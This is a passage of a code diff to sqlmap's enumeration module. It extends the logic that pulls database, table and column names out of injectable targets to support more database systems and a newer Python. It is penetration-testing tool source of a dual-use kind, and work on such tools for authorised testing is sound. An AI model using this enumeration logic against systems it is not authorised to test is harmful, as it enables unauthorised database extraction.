used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" - logger.warn(warnMsg) + logger.warning(warnMsg) infoMsg = "fetching database (schema) names" + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): + warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms() + warnMsg += "for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + logger.warning(warnMsg) + + infoMsg = "fetching database (user) names" + else: infoMsg = "fetching database names" @@ -124,7 +158,7 @@ def getDbs(self): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -134,9 +168,10 @@ def getDbs(self): query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index + db = unArrayizeValue(inject.getValue(query, union=False, error=False)) - if db: + if not isNoneValue(db): kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): @@ -173,7 +208,7 @@ def getDbs(self): kb.data.cachedDbs.sort() if kb.data.cachedDbs: - kb.data.cachedDbs = filter(None, list(set(flattenValue(kb.data.cachedDbs)))) + kb.data.cachedDbs = [_ for _ in set(flattenValue(kb.data.cachedDbs)) if _] return kb.data.cachedDbs @@ -185,21 +220,24 @@ def getTables(self, bruteForce=None): if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - logger.error(errMsg) + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5.0" + logger.warning(warnMsg) + bruteForce = True + + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): bruteForce = True - elif Backend.isDbms(DBMS.ACCESS): + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,): try: tables = self.getTables(False) except SqlmapNoneDataException: tables = None if not tables: - errMsg = "cannot retrieve table names, " - errMsg += "back-end DBMS is Access" - logger.error(errMsg) + warnMsg = "cannot retrieve table names, " + warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) bruteForce = True else: return tables @@ -207,11 +245,11 @@ def getTables(self, bruteForce=None): if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() @@ -238,12 +276,12 @@ def getTables(self, bruteForce=None): return kb.data.cachedTables - message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") + message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) @@ -255,100 +293,178 @@ def getTables(self, bruteForce=None): rootQuery = queries[Backend.getIdentifiedDbms()].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - query = rootQuery.inband.query - condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None + values = [] + + for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))): + if not isNoneValue(values) or not query: + break - if condition: - if not Backend.isDbms(DBMS.SQLITE): - query += " WHERE %s" % condition + if condition: + if not Backend.isDbms(DBMS.SQLITE): + query += " %s %s" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", condition) - if conf.excludeSysDbs: - infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) - logger.info(infoMsg) - query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) - else: - query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) + if conf.excludeSysDbs: + infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) + logger.info(infoMsg) + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if unsafeSQLIdentificatorNaming(db) not in self.excludeDbsList) + else: + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) - if len(dbs) < 2 and ("%s," % condition) in query: - query = query.replace("%s," % condition, "", 1) + if len(dbs) < 2 and ("%s," % condition) in query: + query = query.replace("%s," % condition, "", 1) - values = inject.getValue(query, blind=False, time=False) + if Backend.isDbms(DBMS.SPANNER): + query = query.replace("IN ('default')", "IN ('')") + + if query: + values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - values = filter(None, arrayizeValue(values)) + values = [_ for _ in arrayizeValue(values) if _] if len(values) > 0 and not isListLike(values[0]): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): - db = safeSQLIdentificatorNaming(db) - table = safeSQLIdentificatorNaming(unArrayizeValue(table), True) + table = unArrayizeValue(table) - if db not in kb.data.cachedTables: - kb.data.cachedTables[db] = [table] - else: - kb.data.cachedTables[db].append(table) + if not isNoneValue(table): + db = safeSQLIdentificatorNaming(db) + table = safeSQLIdentificatorNaming(table, True).strip() + + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].table_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.HANA): + query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) + + comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for table '%s'" % (comment, unsafeSQLIdentificatorNaming(table)) + if METADB_SUFFIX not in db: + infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get table comments" + singleTimeWarnMessage(warnMsg) + + if db not in kb.data.cachedTables: + kb.data.cachedTables[db] = [table] + else: + kb.data.cachedTables[db].append(table) if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) + continue + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: + infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db) + singleTimeLogMessage(infoMsg) continue - infoMsg = "fetching number of tables for " - infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.info(infoMsg) + for _query, _count in ((rootQuery.blind.query, rootQuery.blind.count), (getattr(rootQuery.blind, "query2", None), getattr(rootQuery.blind, "count2", None))): + if _query is None: + break - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): - query = rootQuery.blind.count - else: - query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db) + infoMsg = "fetching number of tables for " + infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if Backend.getIdentifiedDbms() in (DBMS.SPANNER,): + query = _count % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db)) + elif Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _count % unsafeSQLIdentificatorNaming(db) + else: + query = _count - if count == 0: - warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) - warnMsg += "appears to be empty" - logger.warn(warnMsg) - continue + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - elif not isNumPosStrValue(count): - warnMsg = "unable to retrieve the number of " - warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) - continue + if count == 0: + warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) + warnMsg += "appears to be empty" + logger.warning(warnMsg) + break - tables = [] + elif not isNumPosStrValue(count): + warnMsg = "unable to retrieve the number of " + warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) + singleTimeWarnMessage(warnMsg) + continue + + tables = [] + + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + # Value-parallel, prediction-assisted name enumeration for the DBMSes using the + # generic "<db>, <index>" blind template. Retrieves whole names concurrently (one per + # worker, each decoded sequentially so wordlist prediction applies). Used with '--threads' + # and under '--eta' (one whole-job bar/ETA) per valueParallelEligible(); plain single-thread + # stays on the classic getValue loop, which still gets predictive inference via getPartRun. + # The special templates stay serial. + genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER) + + if genericTemplate and inject.valueParallelEligible(): + for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []): + if not isNoneValue(table): + kb.hintValue = table + tables.append(safeSQLIdentificatorNaming(table, True)) + else: + for index in indexRange: + if Backend.isDbms(DBMS.SYBASE): + query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) + elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + query = _query % index + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): + query = _query % (index, unsafeSQLIdentificatorNaming(db)) + elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,): + query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index) + else: + query = _query % (unsafeSQLIdentificatorNaming(db), index) - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) - indexRange = getLimitRange(count, plusOne=plusOne) + table = unArrayizeValue(inject.getValue(query, union=False, error=False)) - for index in indexRange: - if Backend.isDbms(DBMS.SYBASE): - query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): - query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = rootQuery.blind.query % index - elif Backend.isDbms(DBMS.HSQLDB): - query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db)) - else: - query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) + if not isNoneValue(table): + kb.hintValue = table + table = safeSQLIdentificatorNaming(table, True) + tables.append(table) - table = unArrayizeValue(inject.getValue(query, union=False, error=False)) - if not isNoneValue(table): - kb.hintValue = table - table = safeSQLIdentificatorNaming(table, True) - tables.append(table) + if tables: + kb.data.cachedTables[db] = tables - if tables: - kb.data.cachedTables[db] = tables - else: - warnMsg = "unable to retrieve the table names " - warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + if conf.getComments: + for table in tables: + _ = queries[Backend.getIdentifiedDbms()].table_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.HANA): + query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) + + comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for table '%s'" % (comment, unsafeSQLIdentificatorNaming(table)) + if METADB_SUFFIX not in db: + infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get table comments" + singleTimeWarnMessage(warnMsg) + + break + else: + warnMsg = "unable to retrieve the table names " + warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.warning(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() @@ -365,7 +481,7 @@ def getTables(self, bruteForce=None): kb.data.cachedTables[db] = sorted(tables) if tables else tables if kb.data.cachedTables: - for db in kb.data.cachedTables.keys(): + for db in kb.data.cachedTables: kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) return kb.data.cachedTables @@ -378,7 +494,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() @@ -388,10 +504,10 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod raise SqlmapNoneDataException(errMsg) elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() - if ',' in conf.db: + if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) @@ -399,26 +515,26 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.col = conf.col.upper() colList = conf.col.split(',') else: colList = [] - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) - colList = filter(None, colList) + colList = [_ for _ in colList if _] if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') else: self.getTables() @@ -426,32 +542,36 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: - tblList = kb.data.cachedTables.values() + tblList = list(six.itervalues(kb.data.cachedTables)) - if isinstance(tblList[0], (set, tuple, list)): + if tblList and isListLike(tblList[0]): tblList = tblList[0] tblList = list(tblList) elif not conf.search: - errMsg = "unable to retrieve the tables " - errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + errMsg = "unable to retrieve the tables" + if METADB_SUFFIX not in conf.db: + errMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return kb.data.cachedColumns - tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) + if conf.exclude: + tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None] + + tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - logger.error(errMsg) + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5.0" + logger.warning(warnMsg) bruteForce = True - elif Backend.isDbms(DBMS.ACCESS): - errMsg = "cannot retrieve column names, " - errMsg += "back-end DBMS is Access" - logger.error(errMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + warnMsg = "cannot retrieve column names, " + warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() + singleTimeWarnMessage(warnMsg) bruteForce = True if bruteForce: @@ -463,7 +583,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod resumeAvailable = True break - if resumeAvailable and not conf.freshQueries or colList: + if resumeAvailable and not (conf.freshQueries and not colList): columns = {} for column in colList: @@ -481,12 +601,17 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return kb.data.cachedColumns - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") + if kb.choices.columnExists is None: + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") + kb.choices.columnExists = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if test[0] in ("n", "N"): - return - elif test[0] in ("q", "Q"): + if kb.choices.columnExists == 'N': + if dumpMode and colList: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): dict((_, None) for _ in colList)} + return kb.data.cachedColumns + else: + return None + elif kb.choices.columnExists == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) @@ -499,7 +624,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: - infoMsg = "fetched tables' columns on " + infoMsg = "fetched table columns from " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) @@ -519,33 +644,52 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("column_type", "data_type", query, flags=re.I) + + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) + query += condQuery + + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE, DBMS.HANA): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery + elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, - conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True)) query += condQuery.replace("[DB]", conf.db) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = rootQuery.inband.query % tbl + query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl) + + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query += condQuery if dumpMode and colList: values = [(_,) for _ in colList] else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if METADB_SUFFIX not in conf.db: + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - values = inject.getValue(query, blind=False, time=False) + values = None + + if values is None: + values = inject.getValue(query, blind=False, time=False) + if values and isinstance(values[0], six.string_types): + values = [values] if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] while True: - query = rootQuery.inband.query2 % (conf.db, tbl, index) + query = rootQuery.inband.query2 % (conf.db, safeSQLIdentificatorNaming(tbl, True), index) value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": @@ -555,24 +699,35 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod index += 1 if Backend.isDbms(DBMS.SQLITE): - parseSqliteTableSchema(unArrayizeValue(values)) + if dumpMode and colList: + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + else: + parseSqliteTableSchema(unArrayizeValue(values)) + elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): + columnData = [unArrayizeValue(_) for _ in columnData] name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) + comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name) + logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" @@ -581,8 +736,19 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if len(columnData) == 1: columns[name] = None else: + key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1] if Backend.isDbms(DBMS.FIREBIRD): - columnData[1] = FIREBIRD_TYPES.get(columnData[1], columnData[1]) + columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) + elif Backend.isDbms(DBMS.ALTIBASE): + columnData[1] = ALTIBASE_TYPES.get(key, columnData[1]) + elif Backend.isDbms(DBMS.INFORMIX): + notNull = False + if isinstance(key, int) and key > 255: + key -= 256 + notNull = True + columnData[1] = INFORMIX_TYPES.get(key, columnData[1]) + if notNull: + columnData[1] = "%s NOT NULL" % columnData[1] columns[name] = columnData[1] @@ -597,7 +763,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: - infoMsg = "fetched tables' columns on " + infoMsg = "fetched table columns from " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) @@ -617,27 +783,40 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.count % (conf.db, conf.db, \ - unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query = rootQuery.blind.count % (conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True)) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.count % (tbl) + query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl) + query += condQuery + + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), conf.db, conf.db) + query += condQuery + + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery elif Backend.isDbms(DBMS.SQLITE): - query = rootQuery.blind.query % tbl - value = unArrayizeValue(inject.getValue(query, union=False, error=False)) - parseSqliteTableSchema(value) + if dumpMode and colList: + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + else: + query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + parseSqliteTableSchema(unArrayizeValue(value)) + return kb.data.cachedColumns table = {} @@ -649,7 +828,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod columns[safeSQLIdentificatorNaming(value)] = None else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if METADB_SUFFIX not in conf.db: + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) @@ -658,8 +838,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: - query = rootQuery.blind.query3 % (conf.db, tbl, index) + query = rootQuery.blind.query3 % (conf.db, safeSQLIdentificatorNaming(tbl, True), index) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if isNoneValue(value) or value == " ": break else: @@ -669,63 +850,141 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if not columns: errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if METADB_SUFFIX not in conf.db: + errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.error(errMsg) continue - for index in getLimitRange(count): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + def columnNameQuery(index): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, 